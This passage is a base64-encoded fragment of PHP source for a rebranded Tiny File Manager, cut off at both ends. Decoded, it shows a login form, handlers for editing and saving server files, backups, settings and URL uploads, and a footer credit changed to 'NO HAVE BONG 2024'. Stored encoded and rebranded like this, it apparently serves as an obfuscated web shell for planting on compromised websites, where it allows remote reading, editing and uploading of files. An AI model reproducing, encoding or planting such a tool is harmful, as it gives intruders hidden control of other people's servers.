pZigkaXBfc2lsZW50ID09IGZhbHNlKXsNCiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdBY2Nlc3MgZGVuaWVkLiBJUCByZXN0cmljdGlvbiBhcHBsaWNhYmxlJyksICdlcnJvcicpOw0KICAgICAgICAgICAgZm1fc2hvd19oZWFkZXJfbG9naW4oKTsNCiAgICAgICAgICAgIGZtX3Nob3dfbWVzc2FnZSgpOw0KICAgICAgICB9DQogICAgICAgIGV4aXQoKTsNCiAgICB9DQp9DQoNCi8vIENoZWNraW5nIGlmIHRoZSB1c2VyIGlzIGxvZ2dlZCBpbiBvciBub3QuIElmIG5vdCwgaXQgd2lsbCBzaG93IHRoZSBsb2dpbiBmb3JtLg0KaWYgKCR1c2VfYXV0aCkgew0KICAgIGlmIChpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddLCAkYXV0aF91c2Vyc1skX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddXSkpIHsNCiAgICAgICAgLy8gTG9nZ2VkDQogICAgfSBlbHNlaWYgKGlzc2V0KCRfUE9TVFsnZm1fdXNyJ10sICRfUE9TVFsnZm1fcHdkJ10sICRfUE9TVFsndG9rZW4nXSkpIHsNCiAgICAgICAgLy8gTG9nZ2luZyBJbg0KICAgICAgICBzbGVlcCgxKTsNCiAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzd29yZF92ZXJpZnknKSkgew0KICAgICAgICAgICAgaWYgKGlzc2V0KCRhdXRoX3VzZXJzWyRfUE9TVFsnZm1fdXNyJ11dKSAmJiBpc3NldCgkX1BPU1RbJ2ZtX3B3ZCddKSAmJiBwYXNzd29yZF92ZXJpZnkoJF9QT1NUWydmbV9wd2QnXSwgJGF1dGhfdXNlcnNbJF9QT1NUWydmbV91c3InXV0pICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddID0gJF9QT1NUWydmbV91c3InXTsNCiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnWW91IGFyZSBsb2dnZWQgaW4nKSk7DQogICAgICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwpOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKTsNCiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJyksICdlcnJvcicpOw0KICAgICAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nKSwgJ2Vycm9yJyk7Ow0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgLy8gRm9ybQ0KICAgICAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKTsNCiAgICAgICAgZm1fc2hvd19oZWFkZXJfbG9naW4oKTsNCiAgICAgICAgPz4NCiAgICAgICAgPHNlY3Rpb24gY2xhc3M9ImgtMTAwIj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciBoLTEwMCI+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93IGp1c3RpZnktY29udGVudC1tZC1jZW50ZXIgaC0xMDAiPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLXdyYXBwZXIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCBmYXQgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtYm9keSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGNsYXNzPSJmb3JtLXNpZ25pbiIgYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgYXV0b2NvbXBsZXRlPSJvZmYiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXh0LWNlbnRlciI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMSBjbGFzcz0iY2FyZC10aXRsZSI+PD9waHAgZWNobyBBUFBfVElUTEU7ID8+PC9oMT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGhyIC8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJmbV91c3IiIGNsYXNzPSJwYi0yIj48P3BocCBlY2hvIGxuZygnVXNlcm5hbWUnKTsgPz48L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIiBpZD0iZm1fdXNyIiBuYW1lPSJmbV91c3IiIHJlcXVpcmVkIGF1dG9mb2N1cz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJmbV9wd2QiIGNsYXNzPSJwYi0yIj48P3BocCBlY2hvIGxuZygnUGFzc3dvcmQnKTsgPz48L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgY2xhc3M9ImZvcm0tY29udHJvbCIgaWQ9ImZtX3B3ZCIgbmFtZT0iZm1fcHdkIiByZXF1aXJlZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBmbV9zaG93X21lc3NhZ2UoKTsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxlbnRpdGllcygkX1NFU1NJT05bJ3Rva2VuJ10pOyA/PiIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIGJ0bi1ibG9jayB3LTEwMCBtdC00IiByb2xlPSJidXR0b24iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnTG9naW4nKTsgPz48L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3RlciB0ZXh0LWNlbnRlciI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJm1kYXNoOyZtZGFzaDsgJmNvcHk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cHM6Ly90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJ0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LW11dGVkIiBkYXRhLXZlcnNpb249Ijw/cGhwIGVjaG8gVkVSU0lPTjsgPz4iPk5PIEhBVkUgQk9ORyAyMDI0PC9hPiAmbWRhc2g7Jm1kYXNoOw0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvc2VjdGlvbj4NCg0KICAgICAgICA8P3BocA0KICAgICAgICBmbV9zaG93X2Zvb3Rlcl9sb2dpbigpOw0KICAgICAgICBleGl0Ow0KICAgIH0NCn0NCg0KLy8gdXBkYXRlIHJvb3QgcGF0aA0KaWYgKCR1c2VfYXV0aCAmJiBpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSkgew0KICAgICRyb290X3BhdGggPSBpc3NldCgkZGlyZWN0b3JpZXNfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pID8gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dIDogJHJvb3RfcGF0aDsNCn0NCg0KLy8gY2xlYW4gYW5kIGNoZWNrICRyb290X3BhdGgNCiRyb290X3BhdGggPSBydHJpbSgkcm9vdF9wYXRoLCAnXFwvJyk7DQokcm9vdF9wYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkcm9vdF9wYXRoKTsNCmlmICghQGlzX2Rpcigkcm9vdF9wYXRoKSkgew0KICAgIGVjaG8gIjxoMT4iLmxuZygnUm9vdCBwYXRoJykuIiBcInskcm9vdF9wYXRofVwiICIubG5nKCdub3QgZm91bmQhJykuIiA8L2gxPiI7DQogICAgZXhpdDsNCn0NCg0KZGVmaW5lZCgnRk1fU0hPV19ISURERU4nKSB8fCBkZWZpbmUoJ0ZNX1NIT1dfSElEREVOJywgJHNob3dfaGlkZGVuX2ZpbGVzKTsNCmRlZmluZWQoJ0ZNX1JPT1RfUEFUSCcpIHx8IGRlZmluZSgnRk1fUk9PVF9QQVRIJywgJHJvb3RfcGF0aCk7DQpkZWZpbmVkKCdGTV9MQU5HJykgfHwgZGVmaW5lKCdGTV9MQU5HJywgJGxhbmcpOw0KZGVmaW5lZCgnRk1fRklMRV9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX0ZJTEVfRVhURU5TSU9OJywgJGFsbG93ZWRfZmlsZV9leHRlbnNpb25zKTsNCmRlZmluZWQoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nLCAkYWxsb3dlZF91cGxvYWRfZXh0ZW5zaW9ucyk7DQpkZWZpbmVkKCdGTV9FWENMVURFX0lURU1TJykgfHwgZGVmaW5lKCdGTV9FWENMVURFX0lURU1TJywgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzcuMC4wJywgJzwnKSA/IHNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcykgOiAkZXhjbHVkZV9pdGVtcykpOw0KZGVmaW5lZCgnRk1fRE9DX1ZJRVdFUicpIHx8IGRlZmluZSgnRk1fRE9DX1ZJRVdFUicsICRvbmxpbmVfdmlld2VyKTsNCmRlZmluZSgnRk1fUkVBRE9OTFknLCAkZ2xvYmFsX3JlYWRvbmx5IHx8ICgkdXNlX2F1dGggJiYgIWVtcHR5KCRyZWFkb25seV91c2VycykgJiYgaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSkgJiYgaW5fYXJyYXkoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSwgJHJlYWRvbmx5X3VzZXJzKSkpOw0KZGVmaW5lKCdGTV9JU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXCcpOw0KDQovLyBhbHdheXMgdXNlID9wPQ0KaWYgKCFpc3NldCgkX0dFVFsncCddKSAmJiBlbXB0eSgkX0ZJTEVTKSkgew0KICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScpOw0KfQ0KDQovLyBnZXQgcGF0aA0KJHAgPSBpc3NldCgkX0dFVFsncCddKSA/ICRfR0VUWydwJ10gOiAoaXNzZXQoJF9QT1NUWydwJ10pID8gJF9QT1NUWydwJ10gOiAnJyk7DQoNCi8vIGNsZWFuIHBhdGgNCiRwID0gZm1fY2xlYW5fcGF0aCgkcCk7DQoNCi8vIGZvciBhamF4IHJlcXVlc3QgLSBzYXZlDQokaW5wdXQgPSBmaWxlX2dldF9jb250ZW50cygncGhwOi8vaW5wdXQnKTsNCiRfUE9TVCA9IChzdHJwb3MoJGlucHV0LCAnYWpheCcpICE9IEZBTFNFICYmIHN0cnBvcygkaW5wdXQsICdzYXZlJykgIT0gRkFMU0UpID8ganNvbl9kZWNvZGUoJGlucHV0LCB0cnVlKSA6ICRfUE9TVDsNCg0KLy8gaW5zdGVhZCBnbG9iYWxzIHZhcnMNCmRlZmluZSgnRk1fUEFUSCcsICRwKTsNCmRlZmluZSgnRk1fVVNFX0FVVEgnLCAkdXNlX2F1dGgpOw0KZGVmaW5lKCdGTV9FRElUX0ZJTEUnLCAkZWRpdF9maWxlcyk7DQpkZWZpbmVkKCdGTV9JQ09OVl9JTlBVVF9FTkMnKSB8fCBkZWZpbmUoJ0ZNX0lDT05WX0lOUFVUX0VOQycsICRpY29udl9pbnB1dF9lbmNvZGluZyk7DQpkZWZpbmVkKCdGTV9VU0VfSElHSExJR0hUSlMnKSB8fCBkZWZpbmUoJ0ZNX1VTRV9ISUdITElHSFRKUycsICR1c2VfaGlnaGxpZ2h0anMpOw0KZGVmaW5lZCgnRk1fSElHSExJR0hUSlNfU1RZTEUnKSB8fCBkZWZpbmUoJ0ZNX0hJR0hMSUdIVEpTX1NUWUxFJywgJGhpZ2hsaWdodGpzX3N0eWxlKTsNCmRlZmluZWQoJ0ZNX0RBVEVUSU1FX0ZPUk1BVCcpIHx8IGRlZmluZSgnRk1fREFURVRJTUVfRk9STUFUJywgJGRhdGV0aW1lX2Zvcm1hdCk7DQoNCnVuc2V0KCRwLCAkdXNlX2F1dGgsICRpY29udl9pbnB1dF9lbmNvZGluZywgJHVzZV9oaWdobGlnaHRqcywgJGhpZ2hsaWdodGpzX3N0eWxlKTsNCg0KLyoqKioqKioqKioqKioqKioqKioqKioqKioqKiBBQ1RJT05TICoqKioqKioqKioqKioqKioqKioqKioqKioqKi8NCg0KLy8gSGFuZGxlIGFsbCBBSkFYIFJlcXVlc3QNCmlmICgoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSwgJGF1dGhfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pIHx8ICFGTV9VU0VfQVVUSCkgJiYgaXNzZXQoJF9QT1NUWydhamF4J10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZKSB7DQogICAgaWYoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHsNCiAgICAgICAgaGVhZGVyKCdIVFRQLzEuMCA0MDEgVW5hdXRob3JpemVkJyk7DQogICAgICAgIGRpZSgiSW52YWxpZCBUb2tlbi4iKTsNCiAgICB9DQoNCiAgICAvL3NlYXJjaCA6IGdldCBsaXN0IG9mIGZpbGVzIGZyb20gdGhlIGN1cnJlbnQgZm9sZGVyDQogICAgaWYoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddPT0ic2VhcmNoIikgew0KICAgICAgICAkZGlyID0gJF9QT1NUWydwYXRoJ10gPT0gIi4iID8gJyc6ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAkcmVzcG9uc2UgPSBzY2FuKGZtX2NsZWFuX3BhdGgoJGRpciksICRfUE9TVFsnY29udGVudCddKTsNCiAgICAgICAgZWNobyBqc29uX2VuY29kZSgkcmVzcG9uc2UpOw0KICAgICAgICBleGl0KCk7DQogICAgfQ0KDQogICAgLy8gc2F2ZSBlZGl0b3IgZmlsZQ0KICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gInNhdmUiKSB7DQogICAgICAgIC8vIGdldCBjdXJyZW50IHBhdGgNCiAgICAgICAgJHBhdGggPSBGTV9ST09UX1BBVEg7DQogICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7DQogICAgICAgICAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOw0KICAgICAgICB9DQogICAgICAgIC8vIGNoZWNrIHBhdGgNCiAgICAgICAgaWYgKCFpc19kaXIoJHBhdGgpKSB7DQogICAgICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTsNCiAgICAgICAgfQ0KICAgICAgICAkZmlsZSA9ICRfR0VUWydlZGl0J107DQogICAgICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSk7DQogICAgICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJGZpbGUpOw0KICAgICAgICBpZiAoJGZpbGUgPT0gJycgfHwgIWlzX2ZpbGUoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsNCiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTsNCiAgICAgICAgICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsNCiAgICAgICAgfQ0KICAgICAgICBoZWFkZXIoJ1gtWFNTLVByb3RlY3Rpb246MCcpOw0KICAgICAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnLycgLiAkZmlsZTsNCg0KICAgICAgICAkd3JpdGVkYXRhID0gJF9QT1NUWydjb250ZW50J107DQogICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsICJ3Iik7DQogICAgICAgICR3cml0ZV9yZXN1bHRzID0gQGZ3cml0ZSgkZmQsICR3cml0ZWRhdGEpOw0KICAgICAgICBmY2xvc2UoJGZkKTsNCiAgICAgICAgaWYgKCR3cml0ZV9yZXN1bHRzID09PSBmYWxzZSl7DQogICAgICAgICAgICBoZWFkZXIoIkhUVFAvMS4xIDUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3IiKTsNCiAgICAgICAgICAgIGRpZSgiQ291bGQgTm90IFdyaXRlIEZpbGUhIC0gQ2hlY2sgUGVybWlzc2lvbnMgLyBPd25lcnNoaXAiKTsNCiAgICAgICAgfQ0KICAgICAgICBkaWUodHJ1ZSk7DQogICAgfQ0KDQogICAgLy8gYmFja3VwIGZpbGVzDQogICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSAiYmFja3VwIiAmJiAhZW1wdHkoJF9QT1NUWydmaWxlJ10pKSB7DQogICAgICAgICRmaWxlTmFtZSA9IGZtX2NsZWFuX3BhdGgoJF9QT1NUWydmaWxlJ10pOw0KICAgICAgICAkZnVsbFBhdGggPSBGTV9ST09UX1BBVEggLiAnLyc7DQogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwYXRoJ10pKSB7DQogICAgICAgICAgICAkcmVsYXRpdmVEaXJQYXRoID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ3BhdGgnXSk7DQogICAgICAgICAgICAkZnVsbFBhdGggLj0gInskcmVsYXRpdmVEaXJQYXRofS8iOw0KICAgICAgICB9DQogICAgICAgICRkYXRlID0gZGF0ZSgiZE15LUhpcyIpOw0KICAgICAgICAkbmV3RmlsZU5hbWUgPSAieyRmaWxlTmFtZX0teyRkYXRlfS5iYWsiOw0KICAgICAgICAkZnVsbHlRdWFsaWZpZWRGaWxlTmFtZSA9ICRmdWxsUGF0aCAuICRmaWxlTmFtZTsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJGZ1bGx5UXVhbGlmaWVkRmlsZU5hbWUpKSB7DQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigiRmlsZSB7JGZpbGVOYW1lfSBub3QgZm91bmQiKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChjb3B5KCRmdWxseVF1YWxpZmllZEZpbGVOYW1lLCAkZnVsbFBhdGggLiAkbmV3RmlsZU5hbWUpKSB7DQogICAgICAgICAgICAgICAgZWNobyAiQmFja3VwIHskbmV3RmlsZU5hbWV9IGNyZWF0ZWQiOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCJDb3VsZCBub3QgY29weSBmaWxlIHskZmlsZU5hbWV9Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgew0KICAgICAgICAgICAgZWNobyAkZS0+Z2V0TWVzc2FnZSgpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLy8gU2F2ZSBDb25maWcNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09ICJzZXR0aW5ncyIpIHsNCiAgICAgICAgZ2xvYmFsICRjZmcsICRsYW5nLCAkcmVwb3J0X2Vycm9ycywgJHNob3dfaGlkZGVuX2ZpbGVzLCAkbGFuZ19saXN0LCAkaGlkZV9Db2xzLCAkdGhlbWU7DQogICAgICAgICRuZXdMbmcgPSAkX1BPU1RbJ2pzLWxhbmd1YWdlJ107DQogICAgICAgIGZtX2dldF90cmFuc2xhdGlvbnMoW10pOw0KICAgICAgICBpZiAoIWFycmF5X2tleV9leGlzdHMoJG5ld0xuZywgJGxhbmdfbGlzdCkpIHsNCiAgICAgICAgICAgICRuZXdMbmcgPSAnZW4nOw0KICAgICAgICB9DQoNCiAgICAgICAgJGVycCA9IGlzc2V0KCRfUE9TVFsnanMtZXJyb3ItcmVwb3J0J10pICYmICRfUE9TVFsnanMtZXJyb3ItcmVwb3J0J10gPT0gInRydWUiID8gdHJ1ZSA6IGZhbHNlOw0KICAgICAgICAkc2hmID0gaXNzZXQoJF9QT1NUWydqcy1zaG93LWhpZGRlbiddKSAmJiAkX1BPU1RbJ2pzLXNob3ctaGlkZGVuJ10gPT0gInRydWUiID8gdHJ1ZSA6IGZhbHNlOw0KICAgICAgICAkaGNvID0gaXNzZXQoJF9QT1NUWydqcy1oaWRlLWNvbHMnXSkgJiYgJF9QT1NUWydqcy1oaWRlLWNvbHMnXSA9PSAidHJ1ZSIgPyB0cnVlIDogZmFsc2U7DQogICAgICAgICR0ZTMgPSAkX1BPU1RbJ2pzLXRoZW1lLTMnXTsNCg0KICAgICAgICBpZiAoJGNmZy0+ZGF0YVsnbGFuZyddICE9ICRuZXdMbmcpIHsNCiAgICAgICAgICAgICRjZmctPmRhdGFbJ2xhbmcnXSA9ICRuZXdMbmc7DQogICAgICAgICAgICAkbGFuZyA9ICRuZXdMbmc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ2Vycm9yX3JlcG9ydGluZyddICE9ICRlcnApIHsNCiAgICAgICAgICAgICRjZmctPmRhdGFbJ2Vycm9yX3JlcG9ydGluZyddID0gJGVycDsNCiAgICAgICAgICAgICRyZXBvcnRfZXJyb3JzID0gJGVycDsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSAhPSAkc2hmKSB7DQogICAgICAgICAgICAkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddID0gJHNoZjsNCiAgICAgICAgICAgICRzaG93X2hpZGRlbl9maWxlcyA9ICRzaGY7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gIT0gJHNoZikgew0KICAgICAgICAgICAgJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSA9ICRzaGY7DQogICAgICAgICAgICAkc2hvd19oaWRkZW5fZmlsZXMgPSAkc2hmOw0KICAgICAgICB9DQogICAgICAgIGlmICgkY2ZnLT5kYXRhWydoaWRlX0NvbHMnXSAhPSAkaGNvKSB7DQogICAgICAgICAgICAkY2ZnLT5kYXRhWydoaWRlX0NvbHMnXSA9ICRoY287DQogICAgICAgICAgICAkaGlkZV9Db2xzID0gJGhjbzsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGNmZy0+ZGF0YVsndGhlbWUnXSAhPSAkdGUzKSB7DQogICAgICAgICAgICAkY2ZnLT5kYXRhWyd0aGVtZSddID0gJHRlMzsNCiAgICAgICAgICAgICR0aGVtZSA9ICR0ZTM7DQogICAgICAgIH0NCiAgICAgICAgJGNmZy0+c2F2ZSgpOw0KICAgICAgICBlY2hvIHRydWU7DQogICAgfQ0KDQogICAgLy8gbmV3IHBhc3N3b3JkIGhhc2gNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09ICJwd2RoYXNoIikgew0KICAgICAgICAkcmVzID0gaXNzZXQoJF9QT1NUWydpbnB1dFBhc3N3b3JkMiddKSAmJiAhZW1wdHkoJF9QT1NUWydpbnB1dFBhc3N3b3JkMiddKSA/IHBhc3N3b3JkX2hhc2goJF9QT1NUWydpbnB1dFBhc3N3b3JkMiddLCBQQVNTV09SRF9ERUZBVUxUKSA6ICcnOw0KICAgICAgICBlY2hvICRyZXM7DQogICAgfQ0KDQogICAgLy91cGxvYWQgdXNpbmcgdXJsDQogICAgaWYoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09ICJ1cGxvYWQiICYmICFlbXB0eSgkX1JFUVVFU1RbInVwbG9hZHVybCJdKSkgew0KICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsNCiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHsNCiAgICAgICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7DQogICAgICAgIH0NCg0KICAgICAgICAgZnVuY3Rpb24gZXZlbnRfY2FsbGJhY2sgKCRtZXNzYWdlKSB7DQogICAgICAgICAgICBnbG9iYWwgJGNhbGxiYWNrOw0KICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZSgkbWVzc2FnZSk7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBnZXRfZmlsZV9wYXRoICgpIHsNCiAgICAgICAgICAgIGdsb2JhbCAkcGF0aCwgJGZpbGVpbmZvLCAkdGVtcF9maWxlOw0KICAgICAgICAgICAgcmV0dXJuICRwYXRoLiIvIi5iYXNlbmFtZSgkZmlsZWluZm8tPm5hbWUpOw0KICAgICAgICB9DQoNCiAgICAgICAgJHVybCA9ICFlbXB0eSgkX1JFUVVFU1RbInVwbG9hZHVybCJdKSAmJiBwcmVnX21hdGNoKCJ8Xmh0dHAocyk/Oi8vLiskfCIsIHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbInVwbG9hZHVybCJdKSkgPyBzdHJpcHNsYXNoZXMoJF9SRVFVRVNUWyJ1cGxvYWR1cmwiXSkgOiBudWxsOw0KDQogICAgICAgIC8vcHJldmVudCAxMjcuKiBkb21haW4gYW5kIGtub3duIHBvcnRzDQogICAgICAgICRkb21haW4gPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9IT1NUKTsNCiAgICAgICAgJHBvcnQgPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9QT1JUKTsNCiAgICAgICAgJGtub3duUG9ydHMgPSBbMjIsIDIzLCAyNSwgMzMwNl07DQoNCiAgICAgICAgaWYgKHByZWdfbWF0Y2goIi9ebG9jYWxob3N0JHxeMTI3KD86XC5bMC05XSspezAsMn1cLlswLTldKyR8Xig/OjAqXDopKj86PzAqMSQvaSIsICRkb21haW4pIHx8IGluX2FycmF5KCRwb3J0LCAka25vd25Qb3J0cykpIHsNCiAgICAgICAgICAgICRlcnIgPSBhcnJheSgibWVzc2FnZSIgPT4gIlVSTCBpcyBub3QgYWxsb3dlZCIpOw0KICAgICAgICAgICAgZXZlbnRfY2FsbGJhY2soYXJyYXkoImZhaWwi